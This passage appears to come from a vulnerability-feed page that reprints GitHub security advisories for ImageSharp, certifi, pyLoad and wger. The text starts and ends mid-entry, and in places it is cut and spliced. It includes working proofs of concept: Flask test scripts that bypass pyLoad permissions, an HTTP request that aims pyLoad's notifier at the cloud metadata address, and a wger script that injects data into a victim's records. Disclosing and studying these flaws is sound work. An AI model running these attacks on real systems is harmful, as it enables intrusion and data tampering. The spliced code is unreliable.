4.2.0, < 4.2.2 org.apache.cxf:cxf-core: >= 4.0.0, < 4.1.7 org.apache.cxf:cxf-core: < 3.6.12 Action: GitHub lists first patched versions: org.apache.cxf:cxf-core: 4.2.2; org.apache.cxf:cxf-core: 4.1.7; org.apache.cxf:cxf-core: 3.6.12. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### ImageSharp: Tiled fax TIFF: tile buffer sized by TileWidth but fax decompressor writes scanlines of ImageWidth — heap OOB write https://kevwire.com/record/CVE-2026-106118 ImageSharp: Tiled fax TIFF: tile buffer sized by TileWidth but fax decompressor writes scanlines of ImageWidth — heap OOB write (Oct 7, 2026). When decoding a tiled TIFF with fax compression (T4/T6/MH), `DecodeTilesChunky` allocates each tile buffer from **TileWidth** (`ceil(TileWidth*bpp/8)*TileLength` bytes) but constructs the fax decompressor with **frame.Width**: `TiffDecompressorsFactory` ignores the `isTiled/tileWidth/tileHeight` parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) `frame.Width` bits per row, with no bounds check against the tile buffer. The very first tile therefore writes linearly out of bounds — about `ImageWidth/8` bytes per row × TileLength rows into a `TileWidth`-sized buffer. With ImageWidth=4,000,000, TileWidth=16, TileLength=16 this writes ~2 MB past a 32-byte buffer and kills the process deterministically; a T6 all-white variant advances the bit offset by >512 MB silently, showing an alarm-free heap-corruption window for the same defect. A crafted file fully controls the OOB length per tile and works with perfectly legal per-row run codes (no overlong runs needed). Verified at commit `5cd4d0d26a82a9549f297a237aea9cf665bddff8` (main; latest release v4.1.0, the supported major). CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-v76p-62qx-wwq2). Sources: GitHub-reviewed advisory GHSA-v76p-62qx-wwq2: https://github.com/advisories/GHSA-v76p-62qx-wwq2 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Summary When decoding a tiled TIFF with fax compression (T4/T6/MH), `DecodeTilesChunky` allocates each tile buffer from **TileWidth** (`ceil(TileWidth*bpp/8)*TileLength` bytes) but constructs the fax decompressor with **frame.Width**: `TiffDecompressorsFactory` ignores the `isTiled/tileWidth/tileHeight` parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) `frame.Width` bits per row, with no bounds check against the tile buffer. The very first tile therefore writes linearly out of bounds — about `ImageWidth/8` bytes per row × TileLength rows into a `TileWidth`-sized buffer. With ImageWidth=4,000,000, TileWidth=16, TileLength=16 this writes ~2 MB past a 32-byte buffer and kills the process deterministically; a T6 all-white variant advances the bit offset by >512 MB silently, showing an alarm-free heap-corruption window for the same defect. A crafted file fully controls the OOB length per tile and works with perfectly legal per-row run codes (no overlong runs needed). Verified at commit `5cd4d0d26a82a9549f297a237aea9cf665bddff8` (main; latest release v4.1.0, the supported major). ## Details Root cause: a size mismatch between tile buffer allocation and decompressor width, because the factory drops the tile parameters. - Allocation: [TiffDecoderCore.cs#L792-L794](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/TiffDecoderCore.cs#L792-L794) — `bytesPerTileRow = RoundUpToMultipleOfEight(tileWidth*bitsPerPixel)`; tile buffer = `bytesPerTileRow*tileLength` bytes (32 bytes in the PoC) - Mismatch: [TiffDecoderCore.cs#L797](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/TiffDecoderCore.cs#L797) — `CreateDecompressor (frame.Width, ..., isTiled: true, tileWidth, tileLength)` passes the full frame width - Factory drops tile params: [TiffDecompressorsFactory.cs#L56-L64](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/TiffDecompressorsFactory.cs#L56-L64) — T4/T6/MH decompressors receive only `width` (= frame.Width); `isTiled/tileWidth/tileHeight` ignored - OOB write sink: [T4TiffCompression.cs#L69-L119](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/Decompressors/T4TiffCompression.cs#L69-L119), `T6TiffCompression.cs#L76-L108` — per-row advance of `this.width` bits via `BitWriterUtils.WriteBits` with no buffer-length check ([BitWriterUtils.cs#L51](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/BitWriterUtils.cs#L51)); note `TiffDecoderCore.cs:829-831` later reads the buffer in `bytesPerTileRow` strides, confirming the protocol expects tile-width rows Attack surface: `Image.Load(stream)` on an attacker-supplied tiled TIFF (`TiffDecoderCore.DecodeImageWithTiles` → `DecodeTilesChunky`). Default configuration; only requirement is a standard tiled TIFF header (TileWidth=16, TileLength=16) + Compression=3 (T4; T6 also constructible). **Suggested remediation:** 1. Short-term: when `isTiled`, construct the T4/T6/MH decompressor with `tileWidth` (not frame width), or clip row writes to the caller-provided buffer length. 2. Root fix: bound the write side of `BitWriterUtils` (pass remaining bits), and validate every fax row advance against buffer capacity on both tiled and strip paths. 3. Regression tests: Compression=2/3/4 × tiled with TileWidth , IntPtr, IntPtr, Byte) at ...T4TiffCompression.WritePixelRun(...) at ...T4TiffCompression.Decompress(...) Aborted (core dumped); exit=134 ``` 3. Controls: the same file with Compression=None decodes normally (container is fine); a T6 all-white-rows variant advances >512 MB of bit offset without a real write (silent corruption window) before tripping on a directory-level TileOffsets count check. ## Impact - **What it is:** out-of-bounds write (CWE-787). For any service decoding untrusted tiled TIFFs: remote, default-configuration, deterministic process crash (DoS), plus a heap OOB write whose per-tile length and row width are attacker-tunable — a potential code-execution surface. This is a vulnerability in the library itself, in scope of your SECURITY.md. - **Who is impacted:** applications decoding untrusted TIFF with SixLabors.ImageSharp at the current major (verified on main past v4.1.0); tiled + fax-compressed files are the trigger, which ordinary TIFF writers can produce. --- --- Reported by **Kimi Security Team** (bug-report@moonshot.ai). Affected package ranges reported by GitHub: SixLabors.ImageSharp: >= 3.0.0, < 3.2.0 SixLabors.ImageSharp: >= 4.0.0, < 4.1.1 Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### certifi bundles emSign root CAs with compromised intermediate CA keys https://kevwire.com/record/GHSA-6q48-6c7w-9gw2 certifi bundles emSign root CAs with compromised intermediate CA keys (Oct 20, 2026). Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. An attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer. CVSS 9.1 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-6q48-6c7w-9gw2). Sources: GitHub-reviewed advisory GHSA-6q48-6c7w-9gw2: https://github.com/advisories/GHSA-6q48-6c7w-9gw2 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. An attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer. Certifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi. Affected package ranges reported by GitHub: certifi: >= 2019.03.09, < 2026.10.18 Action: GitHub lists first patched versions: certifi: 2026.10.18. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions https://kevwire.com/record/CVE-2026-40071 pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions (Apr 8, 2026). Confirmed mismatches: - `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order` - `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link` But WebUI JSON routes use weaker checks: - `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`) - `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`) - `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`) CVSS 5.4 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-rfgh-63mg-8pwm). Sources: GitHub-reviewed advisory GHSA-rfgh-63mg-8pwm: https://github.com/advisories/GHSA-rfgh-63mg-8pwm GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model. Confirmed mismatches: - `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order` - `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link` ### Details pyLoad defines granular permissions in core API: - `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`) - `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`) - `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`) But WebUI JSON routes use weaker checks: - `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`) - `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`) - `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`) Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with `MODIFY`: - `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`) - `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`) - The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls. ### PoC Environment: - Repository version: `0.5.0b3` (`VERSION` file) - Commit tested: `ddc53b3d7` PoC A (ADD-only user invokes MODIFY-only reorder): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'attacker' def order_package(self, pack_id, pos): self.calls.append(('order_package', int(pack_id), int(pos))) def order_file(self, file_id, pos): self.calls.append(('order_file', int(file_id), int(pos))) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.ADD} print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx)) print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'attacker' s['role'] = int(Role.USER) s['perms'] = int(Perms.ADD) r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0}) r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1}) print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip()) print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (ADD-only) order_package: False API auth (ADD-only) order_file: False HTTP /json/package_order: 200 {"response":"success"} HTTP /json/link_order: 200 {"response":"success"} calls: [('order_package', 5, 0), ('order_file', 77, 1)] ``` PoC B (DELETE-only user invokes MODIFY-only stop_downloads): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'u' def stop_downloads(self, ids): self.calls.append(('stop_downloads', ids)) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.DELETE} print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'u' s['role'] = int(Role.USER) s['perms'] = int(Perms.DELETE) r = c.post('/json/abort_link', json={'link_id': 999}) print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (DELETE-only) stop_downloads: False HTTP /json/abort_link: 200 {"response":"success"} calls: [('stop_downloads', [999])] ``` ### Impact Type: - Improper authorization / permission-bypass between WebUI and core API permission model. Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`. Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`. - Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`. Affected package ranges reported by GitHub: pyload-ng: < 0.5.0b3.dev97 Action: GitHub lists first patched versions: pyload-ng: 0.5.0b3.dev97. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host https://kevwire.com/record/GHSA-p3pr-8f3m-4qp8 pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host (Oct 9, 2026). pyLoad ships the WindowsPhoneNotify addon, whose `send()` method opens an HTTP connection to a host taken directly from the plugin's `pushurl` configuration value. A user holding the standard non-admin `SETTINGS` permission can set `pushurl` and `pushid` and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python's `http.client.HTTPConnection`, so it never passes through pyLoad's pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint `169.254.169.254`. pyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a `PREREQFUNCTION` callback calls `is_global_address()` on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (`http.client.HTTPConnection`) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination. CVSS 6.4 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-p3pr-8f3m-4qp8). Sources: GitHub-reviewed advisory GHSA-p3pr-8f3m-4qp8: https://github.com/advisories/GHSA-p3pr-8f3m-4qp8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Summary pyLoad ships the WindowsPhoneNotify addon, whose `send()` method opens an HTTP connection to a host taken directly from the plugin's `pushurl` configuration value. A user holding the standard non-admin `SETTINGS` permission can set `pushurl` and `pushid` and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python's `http.client.HTTPConnection`, so it never passes through pyLoad's pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint `169.254.169.254`. ## Root Cause pyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a `PREREQFUNCTION` callback calls `is_global_address()` on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (`http.client.HTTPConnection`) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination. ```text Affected symbols: - WindowsPhoneNotify.send (src/pyload/plugins/addons/WindowsPhoneNotify.py): opens http.client.HTTPConnection(url) on the attacker-controlled pushurl with no destination check. - Api.set_config_value (src/pyload/core/api/__init__.py): ADMIN_ONLY_PLUGIN_OPTIONS contains only AntiVirus entries, so a non-admin SETTINGS user can write the WindowsPhoneNotify pushurl, pushid, and enabled values. ``` ## Impact An authenticated user with the non-admin `SETTINGS` permission can cause the pyLoad server to issue blind HTTP POST requests to arbitrary internal hosts, ports, and paths that the user cannot reach directly. The attacker controls the destination host and port (`pushurl`), the request path (`pushid`), and part of the XML request body (through file and package names surfaced in the notification text). Because the request is blind, response bodies are not returned; the demonstrated capability is internal service discovery, port and host probing through timing or error differences, cloud metadata endpoint reachability where the network routes it, and triggering state changes on internal HTTP endpoints that act on POST requests. Confidentiality and integrity impact are limited but real; no direct availability impact was demonstrated. ## Proof of Concept ```text Preconditions: an authenticated pyLoad account with the SETTINGS permission (128), a network path from the pyLoad host to the chosen internal target, and at least one download that completes to fire the notification event. ``` 1. As a user with the `SETTINGS` permission, POST to `/json/save_config` with `category="plugin"` and config values `WindowsPhoneNotify|pushurl=169.254.169.254`, `WindowsPhoneNotify|pushid=/latest/meta-data/`, and `WindowsPhoneNotify|enabled=True`. 2. The write is accepted because `(WindowsPhoneNotify, pushurl)` is not in the admin-only option set, and setting `enabled` to true triggers the addon manager's dynamic activation callback, loading the plugin immediately. 3. Allow (or cause) any download to finish. The global `download_finished` event iterates activated addons and invokes the notifier. ```text POST /json/save_config HTTP/1.1 Host: pyload.target Cookie: Content-Type: application/x-www-form-urlencoded category=plugin&config=%7B%22WindowsPhoneNotify%7Cenabled%22%3A%22True%22%2C%22WindowsPhoneNotify%7Cpushurl%22%3A%22169.254.169.254%22%2C%22WindowsPhoneNotify%7Cpushid%22%3A%22%2Flatest%2Fmeta-data%2F%22%7D ``` ```text Observed result: on the next completed download, the pyLoad process opens a TCP connection to 169.254.169.254:80 and sends "POST /latest/meta-data/" with a text/xml notification body. The connection is made by http.client.HTTPConnection with no address validation. ``` ## Attack Chain 1. **Exposure:** The `/json/save_config` web endpoint is network reachable and gated only by `login_required("SETTINGS")`, a standard non-admin permission bit. 2. **Control:** The attacker supplies the notifier `pushurl` (host and port), `pushid` (request path), and `enabled` flag as config values. 3. **Path:** `set_config_value` writes the plugin options; the addon manager's config-change callback fires on `enabled` and activates the addon without a restart; a completed download dispatches the global `download_finished` event to activated addons. 4. **Guard:** The config-write check consults `ADMIN_ONLY_PLUGIN_OPTIONS`, which lists only two AntiVirus options, so the notifier fields pass; the notifier rate and client-connection checks do not block the request; the pycurl `PREREQFUNCTION` SSRF guard and `is_global_address` are never invoked on this path. 5. **Primitive:** `WindowsPhoneNotify.send()` calls `http.client.HTTPConnection(pushurl)` and issues a POST to `pushid`. 6. **Result:** A blind HTTP POST reaches an attacker-chosen internal host and path from the pyLoad server's network position. ## Bypass Evidence pyLoad's outbound SSRF protection lives entirely in the pycurl request path: `is_global_address()` is called only from the pycurl `PREREQFUNCTION` callback, and `is_global_host()` is called only from URL parsing for user-submitted download links. Neither helper appears anywhere in the notifier dispatch path. The WindowsPhoneNotify sink uses `http.client.HTTPConnection`, which has no relationship to pycurl and no destination validation, so the guard is not bypassed by a payload trick but is simply not present on this code path. Attempts to disprove the finding were made and Affected package ranges reported by GitHub: pyload-ng: <= 0.5.0b3.dev101 Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry https://kevwire.com/record/CVE-2026-46438 wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry (Oct 7, 2026). An authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error. Because `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets. CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-rjpf-7pf5-q54x). Sources: GitHub-reviewed advisory GHSA-rjpf-7pf5-q54x: https://github.com/advisories/GHSA-rjpf-7pf5-q54x GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary An authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error. Because `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets. ### Details wger uses a centralized ownership-verification pattern in `WgerOwnerObjectModelViewSet.create()` (file: `wger/utils/viewsets.py`). This method iterates over the list returned by each ViewSet's `get_owner_objects()` and verifies that every listed foreign-key value in the request belongs to the authenticated user. **Foreign keys not present in the list are never checked.** `WorkoutLogViewSet.get_owner_objects()` returns: ```python # File: wger/manager/api/views.py, lines 312-316 def get_owner_objects(self): return [(Routine, 'routine'), (WorkoutSession, 'session')] # ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked # (SlotEntry, 'slot_entry') is MISSING ``` Because `slot_entry` is omitted, an attacker can supply their own `routine` (which passes the ownership check) alongside a victim's `slot_entry` ID (which is never verified). The second contributing factor is in `SlotEntry.get_config_data()`: ```python # File: wger/manager/models/slot_entry.py, line 367 logs = list(self.workoutlog_set.all()) # no .filter(user=...) ``` This reverse-relation query returns **all** `WorkoutLog` rows linked to the `SlotEntry`, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations. ### PoC #### Prerequisites - Two authenticated user accounts (attacker and victim) - The attacker knows (or can enumerate) the victim's `SlotEntry` ID - The attacker has at least one `Routine` of their own (to satisfy the `routine` ownership check) #### Attack Steps ``` POST /api/v2/workoutlog/ Authorization: Token Content-Type: application/json { "routine": , "slot_entry": , "exercise": , "repetitions": 999, "weight": 999, "repetitions_unit": 1, "weight_unit": 1, "date": "2025-01-15", "iteration": 1 } ``` **Expected:** HTTP 403 (the `slot_entry` belongs to another user) **Actual:** HTTP 201 (the log is created and linked to the victim's `SlotEntry`) #### Proof of Concept Script ```python #!/usr/bin/env python3 """ PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR Target: wger Workout Manager Severity: CRITICAL - CVSS 7.1 CWE-639: Authorization Bypass Through User-Controlled Key Usage: python3 poc.py http://localhost:8000 """ import requests import sys import json from datetime import date, timedelta if len(sys.argv) ") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1) BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2" VICTIM_USER = "admin" VICTIM_PASS = "adminadmin" ATTACKER_USER = "attacker_idor_poc" ATTACKER_PASS = "Attacker!Poc!2025" BANNER = """ ===================================================================== PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR Severity: CRITICAL CWE-639: Authorization Bypass Through User-Controlled Key ===================================================================== """ print(BANNER) # ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"} # ---- 1. Authenticate both users ---- print("[1] Authenticating users...") victim_token = api_login(VICTIM_USER, VICTIM_PASS) if not victim_token: print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.") sys.exit(1) print(f" Victim ({VICTIM_USER}): token={victim_token[:16]}...") attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS) if not attacker_token: print(f" Registering attacker account...") r = requests.post(f"{API}/register/", json={ "username": ATTACKER_USER, "password": ATTACKER_PASS, }) if r.status_code in (200, 201): attacker_token = r.json().get("token") if not attacker_token: attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS) if not attacker_token: print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}") sys.exit(1) print(f" Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...") # ---- 2. Create victim's routine chain ---- print("\n[2] Setting up victim's private routine chain...") vh = api_headers(victim_token) today = str(date.today()) end_date = str(date.today() + timedelta(days=30)) r = requests.post(f"{API}/routine/", headers=vh, json={ "name": "Victim Private Routine", "start": today, "end": end_date }) victim_routine_id = r.json()["id"] print(f" Routine id={victim_routine_id}") r = requests.post(f"{API}/day/", headers=vh, json={ "routine": victim_routine_id, "order": 1, "name": "Push Day" }) victim_day_id = r.json()["id"] print(f" Day id={victim_day_id}") r = requests.post(f"{API}/slot/", headers=vh, json={ "day": victim_day_id, "order": 1 }) victim_slot_id = r.json()["id"] print(f" Slot id={victim_slot_id}") r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh) exercise_id = r.json()["results"][0]["id"] r = requests.post(f"{API}/slot-entry/", headers=vh, json={ "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal" }) victim_slot_entry_id = r.json()["id"] print(f" SlotEntry id={victim_slot_entry_id} passes check)") print(f" slot_entry = {victim_slot_entry_id} (VICTIM's -> NOT CHECKED)") print(f" weight = 999") print(f" Affected package ranges reported by GitHub: wger: <= 2.1 Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views) https://kevwire.com/record/CVE-2026-43976 wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views) (Oct 7, 2026). Five gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed. **Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py` CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-c72h-82w6-rqfp). Sources: GitHub-reviewed advisory GHSA-c72h-82w6-rqfp: https://github.com/advisories/GHSA-c72h-82w6-rqfp GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary Five gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed. ### Details **Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, 